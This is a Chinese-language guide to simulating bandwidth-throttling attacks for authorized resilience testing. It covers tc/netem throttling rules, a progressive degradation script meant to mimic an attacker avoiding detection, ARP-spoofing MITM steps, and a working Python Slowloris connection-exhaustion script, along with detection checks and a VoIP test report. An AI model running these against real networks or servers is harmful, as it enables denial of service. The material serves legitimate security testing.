performing-bandwidth-throttling-attack-simulation

执行带宽节流攻击模拟

何时使用

• 在经授权的安全评估中，测试应用对网络状况劣化的韧性
• 验证 QoS 策略能够检测并缓解网络上未经授权的流量整形
• 模拟 slowloris 式的网络攻击，这类攻击会降低带宽，而不会造成完全中断
• 评估基于带宽的攻击对 VoIP、视频会议和实时应用的影响
• 测试网络监控工具检测异常带宽使用模式的能力

请勿在未经授权且没有维护窗口的情况下用于生产网络，请勿用于造成拒绝服务状况，也请勿在缺乏安全控制的情况下针对关键基础设施使用。

前提条件

• 获得进行带宽操纵测试的书面授权
• 具备装有 tc（流量控制）、netem 和 iptables 的 Linux 系统
• 在测试端和目标端系统上安装 iperf3，用于带宽测量
• 针对流量拦截场景建立 MITM 位置（ARP 欺骗）
• 部署网络监控工具，用于检测该模拟
• 测试前测量基线带宽

法律声明： 本技能仅用于经授权的安全测试和教育目的。未经授权针对你不拥有或没有书面许可测试的系统使用属于违法行为，可能违反计算机欺诈相关法律。

工作流

步骤 1：建立基线带宽测量

# Start iperf3 server on the target
iperf3 -s -p 5201

# Measure baseline bandwidth from the tester
iperf3 -c 10.10.20.10 -t 30 -P 4 -p 5201
# Record: bandwidth, jitter, packet loss

# Measure baseline latency
ping -c 100 10.10.20.10 | tail -1
# Record: min/avg/max/mdev

# Measure baseline jitter with UDP test
iperf3 -c 10.10.20.10 -u -b 100M -t 10 -p 5201
# Record: jitter and packet loss percentage

# Document baseline values
echo "Baseline: BW=$(iperf3 -c 10.10.20.10 -t 10 -f m | tail -1 | awk '{print $7}') Mbps" > baseline.txt
echo "Latency: $(ping -c 50 10.10.20.10 | tail -1)" >> baseline.txt

步骤 2：使用 tc/netem 模拟带宽节流

# Add traffic control to limit bandwidth on the attacker's forwarding interface
# This simulates throttling traffic flowing through a compromised router

# Limit to 1 Mbps (severe throttling)
sudo tc qdisc add dev eth0 root tbf rate 1mbit burst 32kbit latency 50ms

# Or use hierarchical token bucket for more control
sudo tc qdisc add dev eth0 root handle 1: htb default 10
sudo tc class add dev eth0 parent 1: classid 1:10 htb rate 1mbit ceil 2mbit

# Add latency and packet loss to simulate degraded link
sudo tc qdisc add dev eth0 parent 1:10 handle 10: netem delay 200ms 50ms loss 5%

# Target specific traffic (only throttle traffic to specific host)
sudo tc qdisc add dev eth0 root handle 1: htb default 99
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 1000mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbit ceil 2mbit
sudo tc class add dev eth0 parent 1:1 classid 1:99 htb rate 1000mbit

# Filter: throttle only traffic to 10.10.20.10
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \
  match ip dst 10.10.20.10/32 flowid 1:10

# Verify the qdisc configuration
tc -s qdisc show dev eth0
tc -s class show dev eth0

步骤 3：模拟渐进式劣化

#!/bin/bash
# Simulate progressive bandwidth degradation over time
# This mimics an attacker slowly throttling to avoid detection

IFACE="eth0"
TARGET="10.10.20.10"

# Phase 1: Baseline (no throttling) - 5 minutes
echo "[*] Phase 1: Baseline (no throttling)"
sleep 300

# Phase 2: Mild throttling (50% reduction)
echo "[*] Phase 2: Reducing to 50 Mbps"
sudo tc qdisc add dev $IFACE root tbf rate 50mbit burst 64kbit latency 50ms
sleep 300

# Phase 3: Moderate throttling (80% reduction)
echo "[*] Phase 3: Reducing to 10 Mbps"
sudo tc qdisc change dev $IFACE root tbf rate 10mbit burst 32kbit latency 50ms
sleep 300

# Phase 4: Severe throttling + latency + loss
echo "[*] Phase 4: Reducing to 1 Mbps + 200ms latency + 5% loss"
sudo tc qdisc del dev $IFACE root 2>/dev/null
sudo tc qdisc add dev $IFACE root handle 1: htb default 10
sudo tc class add dev $IFACE parent 1: classid 1:10 htb rate 1mbit ceil 2mbit
sudo tc qdisc add dev $IFACE parent 1:10 handle 10: netem delay 200ms 50ms loss 5%
sleep 300

# Phase 5: Recovery
echo "[*] Phase 5: Removing all throttling"
sudo tc qdisc del dev $IFACE root 2>/dev/null
echo "[*] Simulation complete"

步骤 4：模拟 Slowloris 式连接耗尽

#!/usr/bin/env python3
"""Slowloris-style connection simulation for authorized bandwidth testing."""

import socket
import time
import threading

TARGET = "10.10.20.10"
PORT = 80
NUM_CONNECTIONS = 200

sockets = []

def create_slow_connection():
    """Create a connection that sends data very slowly."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((TARGET, PORT))
        s.send(b"GET / HTTP/1.1\r\n")
        s.send(f"Host: {TARGET}\r\n".encode())
        sockets.append(s)
        return s
    except Exception:
        return None

def keep_alive():
    """Send partial headers to keep connections open."""
    while True:
        for s in list(sockets):
            try:
                s.send(b"X-Padding: " + b"A" * 10 + b"\r\n")
            except Exception:
                sockets.remove(s)
        time.sleep(15)

print(f"[*] Opening {NUM_CONNECTIONS} slow connections to {TARGET}:{PORT}")
for i in range(NUM_CONNECTIONS):
    s = create_slow_connection()
    if s:
        if (i + 1) % 50 == 0:
            print(f"[*] {i + 1} connections established")
    time.sleep(0.1)

print(f"[*] {len(sockets)} connections open. Sending keep-alive headers...")
print("[*] Press Ctrl+C to stop")

try:
    keep_alive()
except KeyboardInterrupt:
    print(f"\n[*] Closing {len(sockets)} connections")
    for s in sockets:
        try:
            s.close()
        except Exception:
            pass
    print("[*] Cleanup complete")

步骤 5：测量影响并检测异常

# Re-measure bandwidth during throttling
iperf3 -c 10.10.20.10 -t 10 -f m -p 5201
# Compare with baseline values

# Measure latency degradation
ping -c 50 10.10.20.10

# Check network monitoring for detection
# Verify that monitoring tools detected the bandwidth change

# Check SNMP-based monitoring (Cacti, LibreNMS, Zabbix)
# Interface utilization should show abnormal patterns

# Check Zeek logs for connection anomalies
cat /opt/zeek/logs/current/conn.log | \
  zeek-cut ts id.orig_h id.resp_h duration orig_bytes resp_bytes | \
  awk '$4 > 0 && ($5/$4 < 1000 || $6/$4 < 1000)' | head -20
# Low bytes/second ratio indicates throttling

# Check for QoS alerts in network management tools
# NetFlow analysis: look for changes in traffic patterns
# nfdump -r /var/cache/nfdump/nfcapd.* -s srcip/bytes -n 20

步骤 6：清理并记录

# Remove all traffic control rules
sudo tc qdisc del dev eth0 root 2>/dev/null

# Verify cleanup
tc qdisc show dev eth0
# Should show: qdisc noqueue or default qdisc only

# Stop ARP spoofing if used
sudo killall arpspoof bettercap 2>/dev/null
sudo sysctl -w net.ipv4.ip_forward=0

# Final bandwidth measurement to confirm restoration
iperf3 -c 10.10.20.10 -t 10 -f m -p 5201

关键概念

术语	定义
流量整形	使用排队规则对网络流量速率进行有意的操纵，以控制带宽分配
tc（流量控制）	Linux 内核子系统，用于使用排队规则（qdisc）配置数据包调度、整形、监管和丢弃
netem（网络模拟器）	Linux tc qdisc，用于模拟网络状况，包括延迟、抖动、丢包、损坏和重排序
令牌桶过滤器（TBF）	tc qdisc，仅在有可用令牌时允许数据包通过，从而限制流量速率，强制实施最大带宽速率
Slowloris	应用层攻击，通过打开大量连接并极慢地发送数据，耗尽其服务器连接池
QoS（服务质量）	用于对特定流量类型（VoIP、视频）进行优先级排序并确保最低带宽保证的网络机制

工具与系统

• tc/netem：Linux 内核流量控制和网络模拟框架，用于模拟带宽限制和网络劣化
• iperf3：网络带宽测量工具，用于建立基线并测量节流的影响
• Bettercap：网络攻击框架，用于建立 MITM 位置以拦截和节流流量
• Scapy：Python 数据包操纵库，用于构造自定义流量模式并模拟连接耗尽
• NetFlow/sFlow：网络流监控协议，用于检测异常带宽使用模式

常见场景

场景：测试 VoIP 系统在带宽劣化下的韧性

背景：某公司依赖基于 SIP 的 VoIP 进行业务通信。安全团队需要评估 VoIP 质量在各种网络攻击条件下如何劣化，以及通话在什么程度下变得不可用。测试已获授权，在专用 VoIP 测试 VLAN 上进行。

方法：

1. 使用 iperf3 UDP 测试在 VoIP VLAN 上建立基线通话质量，测量抖动（<30ms）和丢包（<1%）
2. 使用 ARP 欺骗在 VoIP 端点之间建立 MITM 位置
3. 使用 netem 逐步引入延迟（50ms、100ms、200ms、500ms），并测量每一档的 MOS（平均意见得分）
4. 引入丢包（1%、3%、5%、10%），并测量通话质量劣化
5. 将带宽从 1 Mbps 限制到 100 Kbps，以确定 G.711 编解码器的最低可用带宽（需要 87.2 Kbps）
6. 验证网络上的 QoS 策略会优先处理 VoIP 流量，并在限速影响共享链路时恢复质量
7. 记录劣化阈值，并为 VoIP VLAN 推荐最低 QoS 保障

陷阱：

• 测试后忘记移除 tc 规则，导致测试网络上仍保留带宽限制
• 使用过低的速率进行测试，导致通话完全失败，而不是可测量的劣化
• 未考虑 VoIP 编解码器差异——G.711 比 G.729 需要更多带宽
• 在共享 VLAN 上运行测试，影响非测试流量

输出格式

## Bandwidth Throttling Simulation Report

**Test ID**: BW-THROTTLE-2024-001
**Target Network**: VLAN 60 (VoIP Test)
**Test Duration**: 2024-03-15 14:00-16:00 UTC

### Baseline Measurements
| Metric | Value |
|--------|-------|
| Bandwidth (TCP) | 947 Mbps |
| Bandwidth (UDP) | 912 Mbps |
| Latency (avg) | 0.8 ms |
| Jitter | 0.2 ms |
| Packet Loss | 0.00% |

### Degradation Impact Matrix

| Condition | Bandwidth | Latency | Jitter | Loss | VoIP MOS |
|-----------|-----------|---------|--------|------|----------|
| Baseline | 947 Mbps | 0.8 ms | 0.2 ms | 0% | 4.4 |
| 50ms latency | 947 Mbps | 51 ms | 5 ms | 0% | 4.0 |
| 200ms latency | 947 Mbps | 201 ms | 25 ms | 0% | 3.2 |
| 5% loss | 947 Mbps | 0.8 ms | 0.2 ms | 5% | 2.8 |
| 1 Mbps cap | 1 Mbps | 45 ms | 12 ms | 2% | 3.0 |
| 100 Kbps cap | 100 Kbps | 380 ms | 95 ms | 15% | 1.2 |

### QoS Validation
- QoS detected throttling at 10 Mbps threshold: YES
- VoIP traffic prioritized during throttling: YES (maintained 3.8 MOS)
- Alert generated by monitoring: YES (bandwidth anomaly at 14:15 UTC)

### Recommendations
1. Ensure minimum 200 Kbps guaranteed bandwidth per VoIP call
2. Configure QoS to prioritize DSCP EF (46) marked traffic
3. Set monitoring threshold at 80% bandwidth utilization for early warning